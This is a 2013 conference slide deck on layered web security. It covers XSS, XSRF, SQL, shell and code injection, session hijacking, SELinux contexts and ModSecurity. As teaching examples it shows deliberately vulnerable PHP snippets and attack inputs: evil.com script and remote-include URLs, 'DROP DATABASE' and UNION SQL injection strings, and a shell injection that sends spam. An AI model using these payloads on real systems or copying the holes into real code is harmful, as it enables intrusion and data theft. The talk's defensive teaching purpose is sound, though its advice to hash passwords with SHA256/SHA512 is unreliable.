Multilayer Web Security

Author: Konstantin Ryabitsev

Date: October, 2013

Place: LinuxCon Europe, Edinburgh

Online: http://mricon.com/talks/ ❑

Topics covered

- Generic vulnerabilities
  - Cross-site violations
  - Code injections
  - Cookie manipulation
  - HTTP header manipulation
- Stuff everyone gets wrong
- SELinux
- ModSecurity
- Mod_suPHP

Topics not covered

- Advanced web attacks
  - Clickjacking
  - HTTP header manipulation
- HTML5
  - I don't have much experience with it
  - Hackers are known to be very excited

Who am I?

- Web programmer since 1995
  - PHP since 1998
  - Lead for mcgill.ca web group
- Linux administrator since 1998
  - Duke University Physics (birthplace of `yum`)
  - Linux Foundation IT team
- Senior IT Security Analyst at McGill
  - Web and Linux security
  - Social engineering

Why multiple layers

- We're all made out of meat
- Fail gracefully
- Do risk-benefit analysis
- "We don't handle money"
  - Embarrassment is money
  - Liability is money
  - Feds taking your servers is money

Generic vulnerabilities

- Cross-site violations
  - XSS, XSRF
- Code injections
  - SQL, Shell, Code injections
- Cookie manipulation
  - Privilege escalation
  - Session theft

Cross-site scripting

What: Executing arbitrary scripts
How: Displaying user input on page
Fix: Filter out all HTML

XSS: What

```
<form>
  What is your name? <input name="name"/>
  <input type="submit"/>
</form>
```

```
<?php
  echo "Hello, {$_REQUEST['name']}";?>
```

XSS: How

- <script src="http://evil.com/evil.js "></script>
  - Read or write cookies
  - Execute commands
  - Propagate malware
  - Modify content
- Persistent vs. non-persistent

XSS: Fix

- encode all user content
- strip all tags
  - and then encode the results
- cast all integers
- don't try to "filter out bad html"
  - especially with regular expressions
  - unless you really, *really* know what you're doing
- if you do filter, store unfiltered and filter on output
  - or re-filter all your content whenever filter is updated

Clever quote

Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. -- jwz

PHP: Encode all tags

- Encode <,>,&,",'
  - Entities: <, >, &, ", &apos
  - URL-encoded: %3C, %3E, %26, %22, %27
- Be aware of UTF-7 and other codepages
  - "<b>" in UTF-7 is "+ADw-b+AD4"
  - Use security libraries provided by your environment

```
<?php
  echo "Hello, " . htmlspecialchars($_GET['name']);?>
```

PHP: Strip all tags

- Good:

```
<?php
  echo "Hello, " . strip_tags($_GET['name']);?>
```

- Bad:

```
<?php
  echo "Hello, " . strip_tags($_GET['name'], '<i>');?>
```

Cross-site request forgery

What: Execute code with victim's privileges
How: Cross-domain GET/POST requests
Fix: Unique keys for all requests

XSRF: What

- Victim logs in to mybank.com and doesn't log out
- Victim visits evil.com
  - `<img src="mybank.com/xfer?to=attacker&sum=1000">`
- Victim transfers money to the attacker
  - Or, victim grants attacker access rights
  - Or, victim adds "goats" to their interests

XSRF: How

- Users don't log out
- Session time-outs too long
- Users have tab-induced ADD
- Users expect that closing a tab is the same as closing the browser
- Recent mac converts have trouble grokking ⌘-Q

XSRF: Fix

- Requests coming from authenticated users must be given just as much scrutiny as all other requests.
- Include "XSRF tokens" in all your forms
- Do not rely on "Referrer"
  - Can be spoofed or blanked out
- Requiring POST will help, but is not sufficient
- You can verify all "drastic" actions
  - Is saying "I like goats" drastic?
  - Beware of "Just click yes" effect

PHP: XSRF token example

```php
<?php
  $token = mt_rand(); // or something stronger
  $_SESSION['xsrf_tokens']['myform'] = $token;
  echo '<input type="hidden" name="xsrf_token"
        value="' . $token .  '"/>';
  // ... when processing form submission ...
  $ses_token = $_SESSION['xsrf_tokens']['myform'];
  if ($_POST['xsrf_token'] == $ses_token) {
      // perform action
  }?>
```

SQL Injection

What: Execute SQL commands
How: Malicious user input
Fix: Filter user input

SQL Injection: What

- Access to back-end database
  - Delete records
  - Modify records
  - Obtain records
    - Credit card numbers
    - Account credentials

SQL Injection: How

- `SELECT * FROM stuff WHERE data='{input}'`
  - `'; DROP DATABASE; --`
  - `' OR ''='`
  - `' UNION SELECT * FROM accounts WHERE ''='`
- O'Malley's Pub 'n Grill

SQL Injection: Fix

- Use parametrized statements
- Use escaping routines if you must
  - Don't write your own
  - Cast your integers
- Have multiple db users
  - Read-only user
  - Read-write user
  - Read-write to admin fields user

PHP: SQL Injection

```
<form method="GET">
  Search: <input name="query"/>
</form>
```

```
<?php
  $sql = "SELECT FROM stuff
          WHERE data = '{$_GET['query']}'";
  pg_query($sql);?>
```

PHP: SQL Injection fix

```php
<?php
  $sql = "SELECT FROM stuff
            WHERE data = ?";
  $dbh = new PDO('...');
  $sth = $dbh->prepare($sql);
  $sth->execute($_GET['query']);?>
```

Shell Injection

What: Execute shell commands
How: Malicious user input
Fix: Filter user input
Better: Don't execute shell commands

Shell Injection: What

- Any site visitor can execute commands with httpd daemon's privileges
- System will likely be used:
  - To send spam
  - To attack other computers
  - As a proxy to carry out other attacks against your network

Shell Injection: How

- Apache script passes parameters to a command-line utility

```
<?php
  $cmd = '/opt/bin/search ' . $_GET['query'];?>
```

- Attacker puts in:
  - `foo; "ENLARGE!" | mail -s "ENLARGE!" victim@...`

Shell injection: Fix

- You're probably doing something wrong
- If you must, filter out user input:
  - Shell-specific
  - Cast integers
  - Replace anything that is not a character
    - Be painfully aware of Unicode
- JUST SAY NO

PHP: Shell injection fix

- Use `escapeshellarg()` function:

```
<?php
  $cmd = '/opt/bin/search '
       . escapeshellarg($_GET['query']);?>
```

Code injection

What: Execute arbitrary code as part of your application

How: Malicious user input

Fix: Be very careful with user input

Code injection: How

- Templates!
- Using `eval()` on user input
- Using `unserialize()` on user input
- Using `include()` with user input
  - Especially if `include()` allows remote content
- Putting uploaded files in web root

Code injection: Fix

- Don't use templates that work via `eval()`
  - Or use same strategy as with XSS
- Remember that `unserialize()` is unsafe
- Disallow `include()`-ing remote content
  - Turn off `allow_url_fopen` and `allow_url_include` in PHP
- Be careful about file uploads
  - Check file names
  - Do not place uploaded files into web root

PHP: Code Injection

```
<a href="page.php?p=about">About us</a>
```

```
<?php
  doHeader();
  include("{$_GET['p']}.php");
  doFooter();?>
```

- `p=http://evil.com/exploit.php?`

Cookie theft

What: Session manipulation, data leaks
How: XSS or HTTP TRACE
Fix: Filter out XSS, turn off HTTP TRACE

Cookies: Session hijacking

- Session identifier is stored in a cookie
- If an attacker knows your session identifier, they can assume your identity for the duration of the session
  - Authentication bypass
  - Privilege escalation

Cookies: Session Hijacking fix

- Make sure session identifiers are random
- Never pass session IDs in URLs
- Use secure cookies
- Restrict path/domain
- Use `httponly` cookies
  - HTTP-only cookies can't be accessed via Javascript
- Disable `HTTP TRACE` on your server
- Avoid using `REMOTE_IP` or `USER_AGENT`

Cookies: Session fixation

- Session hijacking "in reverse"
- Attacker establishes a session and forces it onto victim
    - usually by making the victim click on a link
- The victim authenticates
    - the attacker has authenticated session

Cookies: Session fixation fix

- Re-initialize the session after authentication
- Never accept session identifiers in GET/POST

AWOOGA features

- Encryption
- Password storage
- Forgotten password resets
- Email from site
- File uploads
- Templating
- Search
- Installers

AWOOGA: Encryption

- Encryption is easy to get wrong
  - Symmetric? Asymmetric? AES? CBC or CFB?
- "Encrypt data at rest" requirement
  - Key management is very hard
  - Keeping the key with the lock
  - More useful if crypto hardware is used
- Useful if encrypting data passed to the client or 3rd-party

AWOOGA: Password storage

- Consider OAuth (Facebook, Google, Twitter, etc)
  - Make password handling "not your problem"
  - Unless you have valid reasons not to use OAuth
- Do NOT use `md5sum()` or `sha1sum()`
  - Easily defeated with "rainbow tables"
- Use salted passwords
- Fast hashing mechanisms are not well-suited
  - Use `SHA256` or `SHA512`
  - PHP *finally* has a native `crypt()` hashing function

AWOOGA: Password resets

- "Personal questions" are backdoors to your system
  - User-chosen "personal questions" are very weak
  - Or they are too hard and users forget them
    - What was my favourite movie 3 years ago?
    - Nobody knows how to spell "fuchsia"
    - Was it "Toyota," "Toyota Pickup," or "Tacoma?"
  - Or users defeat them
    - "Dear Mrs. Asdfasdf..."
- Sending password via email?
- Did I mention OAuth?

AWOOGA: Email from site

- Contact forms are spammer paradise
  - Infamous `formmail.cgi`
- Hard-coding the recipient limits the problem
- "Captchas" help against bots (a bit)
- Expiring tokens help against bots
- Beware of cheap copy-pasters from "3rd-world"
  - Use "IP tarpitting" if it gets too bad

AWOOGA: File uploads

- Do not place uploaded files into web root
- Check file names, if you must do it
- Have a "CYA policy" for malware-infected files
    - Or run a virus-scan on uploaded content

AWOOGA: Templating systems

- Amazing number of them uses `eval()`
- Those that don't may not properly escape formatting codes from user content

AWOOGA: Search

- Database-based search
  - Expression parsing may leave you open to SQL injection attacks
  - May expose non-public content
- Crawler solutions
  - Expose non-public content from IP-restricted sites
  - May leave you exposed to shell injection attacks
  - Or DoS attacks, because they are usually slow

AWOOGA: Installers

- Usually require a directory writable by httpd
- Are usually left undeleted after installation
  - May have full admin access to reconfigure your site
  - May be full of exploits

SELinux: brief introduction

- Mandatory Access Control
  - Difference from "Unix-like" behaviour
  - The parable of water delivery service
- Roadblocks to SELinux adoption
  - Old-school Unix admins
  - Extra work when doing something "non-standard"

Living with SELinux

- Familiarize yourself with SELinux
- SELinux is first and foremost a labeling system
  - Every file has a context
  - Everything is a file
  - Must be explicitly allowed to transition
- Majority of problems are due to mislabeling
- Understand `unconfined` domains

Permissive mode

- Start with `permissive mode`
- Blunt approach
  - `setenforce 0` on cmdline
  - `enforcing=0` boot flag
  - `/etc/sysconfig/selinux` file
- Fine-tuning approach
  - `semanage permissive -a domain_t`
  - Much safer, use instead of `setenforce 0`

Ausearch, audit2why, audit2allow

- Can solve nearly all your problems
- `ausearch -ts recent -m avc`
- add `--raw` and pipe to:
  - `audit2why`
  - `audit2allow`
- `audit2allow` can write full policies
- It's not to be used lightly
- Be aware of `dontaudit` rules
  - `semanage dontaudit off`

Stick to default paths

- Do not change default file locations
  - Really, it's not worth it
  - Just deep-mount that partition
  - You can add contexts to NFS mounts
- You can assign path equivalence:
  - `semanage fcontext -a -e /var/www /srv/sites`
  - `resorecon -Rvvv /srv/sites`

There's probably a boolean for that

- Sending mail? Accessing the db?
  - There's a boolean for that

```
semanage boolean -l | grep httpd
```

SELinux and web apps

- Limited usefulness when running scripts as part of httpd
  - Httpd daemon vulnerabilities
  - Code injection attacks
  - Curious users poking around
- Much more powerful when used with CGI/FCGI scripts
  - Allows `httpd_t` to transition to another domain
  - Subject of our hands-on session

Essential httpd file contexts

`httpd_sys_content_t`:
Read-only website content

`httpd_sys_rw_content_t`:
Files that can be modified by httpd

`httpd_sys_script_exec_t`:
CGI executables

`public_content_rw_t`:
Blanket type for all other public content

Setting contexts with semanage

- Do not use `chcon` for permanent labels
- To allow httpd to read content in `/web`:

```
semanage fcontext -a -t httpd_sys_content_t \
  "/web(/.*)?"
```

- To allow httpd to write to `/web/config`:

```
semanage fcontext -a -t httpd_sys_rw_content_t \
  "/web/config(/.*)?"
```

Essential httpd-related booleans

`httpd_builtin_scripting`:

Enable mod_php and similar systems

`httpd_can_network_connect`:

Allow httpd to open network sockets

`httpd_can_network_connect_db`:

Allow httpd to open network socket to a db server

`httpd_can_sendmail`:

Allow httpd to invoke sendmail

Essential httpd booleans (contd)

`httpd_enable_cgi`:
Allow httpd to execute CGI scripts

`httpd_enable_homedirs`:
Allow httpd to access user content in `~/public_html`

`httpd_tty_comm`: Allow httpd access to tty (passphrase-protected SSL certificates)

`httpd_use_nfs`: Allow httpd to access nfs-mounted partitions

ModSecurity: what it is

- "Web Application Firewall" (WAF)
- Analysis of HTTP traffic at the Apache level
  - Restrict HTTP methods
  - Analyze and enforce payload compliance
  - Stop attacks before they get to your web apps

ModSecurity: what it is NOT

- NOT a magic wand that makes you secure
- NOT for the lazy
- NOT for the faint of heart
- 3rd-party app owners will NOT be amused

Paranoid vs. Heuristic approach

- Write your own rules from scratch
- Use pre-written rules in "paranoid mode"
- Use a combination of both
- Use pre-written rules with "threshold scoring"

ModSecurity: paranoid approach

- Write rules from scratch
  - Allows you to enforce payload schemas
  - Not suitable for large existing apps
- Pre-written rules in "paranoid mode"
  - "Password may not contain the word SELECT"

ModSecurity: heuristic approach

- Understand security thresholds
- Review and understand pre-written rules
  - Let's take a look now
  - `/etc/httpd/modsecurity.d`

ModSecurity: tweaking rules

- Avoid modifying default rules
  - Upgrades will become a mess
- Use `SecRuleRemoveBy*` to turn off rules
- Use `SecRuleUpdateTargetBy*` to modify core rules
  - Add exceptions based on various criteria

ModSecurity: also good for

- Detailed audit information
  - Always logs full headers
  - Can log POST body (but think twice!)
- Can scan outgoing data
  - Add "fakeuserpassword" into your password table
  - Abort response if that string is seen in body

PHP: mod_suphp

- Will execute php scripts with file owner rights
  - Excluding anything below userid < 500 (configurable)
- Can `chroot` php scripts before executing
  - Can `chroot` to `$HOME`
- Nice tool for multi-site hosting
- Runs as part of httpd_t domain

Tools

- Most "vulnerability scanners" will only check for known vulnerabilities or known outdated software
  - Nikto scanner
- Ratproxy
  - Analyzes traffic and offers suggestions
  - Can do SSL

Summary

- All security is trade-off in terms of:
  - Effort
  - Money
  - Usability
- Know that you are made of meat
  - Your boss and co-workers are made of meat, too
- Be prepared when things fail
  - Use multiple layers of security

Q&A?

- Questions?